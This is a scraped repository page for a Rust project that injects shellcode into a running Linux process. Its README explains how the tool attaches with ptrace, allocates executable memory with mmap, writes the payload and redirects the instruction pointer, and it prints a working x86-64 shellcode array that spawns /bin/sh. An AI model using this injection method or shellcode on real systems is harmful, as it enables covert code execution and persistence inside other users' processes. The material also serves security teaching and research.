https://github.com/affix/rust-remote-injection-nix
Shellcode injection to a remote linux process in rust
https://github.com/affix/rust-remote-injection-nix
Last synced: about 1 year ago
JSON representation
Shellcode injection to a remote linux process in rust
- Host: GitHub
- URL: https://github.com/affix/rust-remote-injection-nix
- Owner: affix
- Created: 2025-01-27T21:16:26.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2025-03-03T12:45:21.000Z (over 1 year ago)
- Last Synced: 2025-03-25T10:14:25.753Z (over 1 year ago)
- Language: Rust
- Size: 108 KB
- Stars: 7
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Ptrace Shellcode Injection Example
This Rust project demonstrates how to inject shellcode into a target process using `ptrace` to allocate memory, write shellcode, and execute it by modifying the target process's registers.
## Features
- Attach to a target process using `ptrace`. (By default this is the `sleep` command. Modify the `PROCESS_NAME` constant to target a different process.)
- Allocate executable memory in the target process using the `mmap` system call.
- Write shellcode into the allocated memory using `PTRACE_POKETEXT`.
- Modify the instruction pointer (`RIP`) to execute the injected shellcode.
- Cleanly detach from the target process after injection.
## Prerequisites
- Rust (latest stable version recommended)
- Root privileges to execute the program (or adjust `ptrace_scope` settings).
## Shellcode Example
The example includes shellcode to execute `/bin/sh` using the `execve` system call. Modify the shellcode as needed for your use case.
```rust
let shellcode: [u8; 32] = [
0x48, 0x31, 0xff, // xor rdi, rdi
0x48, 0x89, 0xe6, // mov rsi, rsp
0x48, 0x8d, 0x3d, 0x0a, 0x00, 0x00, 0x00, // lea rdi, [rip+10]
0x31, 0xc0, // xor eax, eax
0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, // mov rax, 59 (execve)
0x0f, 0x05, // syscall
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00 // "/bin/sh"
];
```